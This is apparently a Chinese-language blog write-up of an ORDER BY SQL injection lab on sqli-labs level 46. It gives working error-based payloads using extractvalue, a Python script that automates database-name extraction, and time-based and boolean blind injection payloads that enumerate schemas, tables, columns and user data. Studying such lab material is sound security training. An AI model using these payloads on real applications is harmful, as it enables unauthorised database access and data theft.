关于order by的sql注入实验

实验描述

本实验基于sqli-lab的第46关进行测试

本关的sql 语句为sql = "SELECT \* FROM users ORDER BY id"

利用sort进行sql注入,我们可以利用报错注入,延时注入来爆出数据

1.报错注入

1.手工测试

爆出数据库

复制代码
?sort=(extractvalue(1, concat(0x7e, (select schema_name from information_schema.schemata limit 1,1))))

爆出数据库中的表

复制代码
?sort=(extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1))))

爆出表中的列

复制代码
?sort=(extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1))))

爆出列值

复制代码
?sort=(extractvalue(1,concat(0x7e,(select username from users where id=1))))

2.代码实现

python 复制代码
import requests
import re

# 目标URL (根据实际环境修改)
target_url = "http://172.25.254.145/sqli-labs-php7-master/Less-46/"


def extract_database_name():
    database_names = []
    index = 0
    while True:
        # 构造注入Payload
        payload = {
            "sort": f"(extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit {index},1))))"
        }
        try:
            # 发送GET请求
            response = requests.get(target_url, params=payload, timeout=10)
            response.raise_for_status()

            # 正则匹配错误信息中的数据库名
            error_pattern = r"XPATH syntax error: '~([^']+)"
            match = re.search(error_pattern, response.text)

            if match:
                db_name = match.group(1)
                database_names.append(db_name)
                print(f"成功提取数据库名: {db_name}")
                index += 1
            else:
                if index == 0:
                    print("找到数据库名,可能漏洞不存在或错误信息被隐藏")
                else:
                    print("已提取所有数据库名")
                break

        except requests.exceptions.Timeout:
            print(f"[-] 请求超时,索引为 {index},继续尝试...")
        except requests.exceptions.HTTPError as http_err:
            print(f"[-] HTTP请求错误,索引为 {index}: {http_err}")
        except requests.exceptions.RequestException as e:
            print(f"[-] 请求失败,索引为 {index}: {e}")

    return database_names


if __name__ == "__main__":
    all_database_names = extract_database_name()

结果

同理,修改sql注入语句,即可爆出所有的数据信息

2.盲注

1.时间盲注

错误按照username执行排序,否则结果正确

正确结果如下

错误结果如下

判断当前数据库的名称

python 复制代码
?sort=if((substr(database(),1,1)='s'),(select 1 from (select sleep(2)) as b),username)

判断第一个数据库的名称

python 复制代码
?sort=if((substr((select schema_name from information_schema.schemata limit 0,1),1,1)='i'),(select 1 from (select sleep(2)) as b),username)

爆出数据库表(emali表)

python 复制代码
?sort=if((substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'),(select 1 from (select sleep(2)) as b),username)

爆出列值(USER)

python 复制代码
?sort=if((substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='U'),(select 1 from (select sleep(2)) as b),username)

根据上述sql语句可以获得数据库的信息

2.布尔盲注

如果正确按照username排序,不正确按照password排序

python 复制代码
?sort=if((substr((select user()),1,1)='r'),username,password)
相关推荐
你有我备注吗5 小时前
SQL学习之查询
java·sql·学习
G.O.G.O.G6 小时前
LeetCode SQL 从入门到精通(MySQL)05(下)
数据库·sql·oracle
G.O.G.O.G9 小时前
《LeetCode SQL 从入门到精通(MySQL)》09
sql·mysql·leetcode
Csvn1 天前
Day 3:LIKE 与模式匹配 — 让查询学会"模糊搜索"
后端·sql
Devlive 开源社区1 天前
Nebula 1.6.0 发布:跨区域桶自动路由、秒传、文本/PDF 预览一次到位
数据库·sql
leonshi1 天前
数据库关联表查询出重复数据的原因分析与解决
sql·重复数据
chatexcel1 天前
不用写 SQL,如何用AI直连数据库生成可刷新的数据看板?ChatExcel的一种实践
大数据·数据库·人工智能·sql·数据分析·excel
峥无1 天前
SQL性能调优:从执行计划看懂索引的使用与失效
数据库·sql
凤山老林1 天前
ORM 框架性能调优:Spring Boot 下 N+1 查询根因治理、动态 SQL 优化与 Fetch 策略实战
数据库·spring boot·sql
神秘的MT1 天前
SQL Server 分页查询 ROW_NUMBER () OFFSET...FETCH游标(Cursor) 数据插入
数据库·sql·学习·c#·winform